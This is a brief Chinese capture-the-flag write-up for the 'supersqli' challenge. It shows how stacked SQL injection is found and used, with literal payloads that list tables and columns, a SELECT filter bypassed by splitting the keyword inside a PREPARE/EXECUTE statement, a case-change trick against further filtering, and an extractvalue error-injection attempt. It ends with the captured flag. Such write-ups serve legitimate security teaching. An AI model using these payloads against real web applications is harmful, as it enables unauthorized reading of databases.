supersqli
supersqli
输入'有报错
输入"正常
说明存在注入点
order by语句可以使用,且判断为两个字段
考虑联合注入,但是发现select语句不能用,考虑绕过select,那么可以使用预编译
但是惊人的发现可以使用堆叠注入,这个使用条件比较有限,但是危害非常的大。一步步查询,找到flag:
爆表
-1';show tables #
得知有如下两个表:
1919810931114514
words
爆字段:
-1';show columns from 1919810931114514
--+
发现有flag字段,而words表没有flag字段:
爆数据:
由于过滤了select,我们可以选中预编译执行
-1';
set @sql = CONCAT('se','lect * from 1919810931114514
;');
prepare stmt from @sql;
EXECUTE stmt; #
发现过滤prepare和set,那么可以首先考虑大小写或双写来绕过,大小写成功绕过
也有输出位,也可以考虑一手报错注入,不一定人云亦云,人要有自己的思考。
-1' and extractvalue('1',concat('~',concat('se','lect * from 1919810931114514')))#
有点遗憾,还是没有爆出来,各位也可以再尝试尝试
flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
作者:荒
除特别声明为原创博文外,均可转载,也欢迎转载,未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利,谢谢您的配合。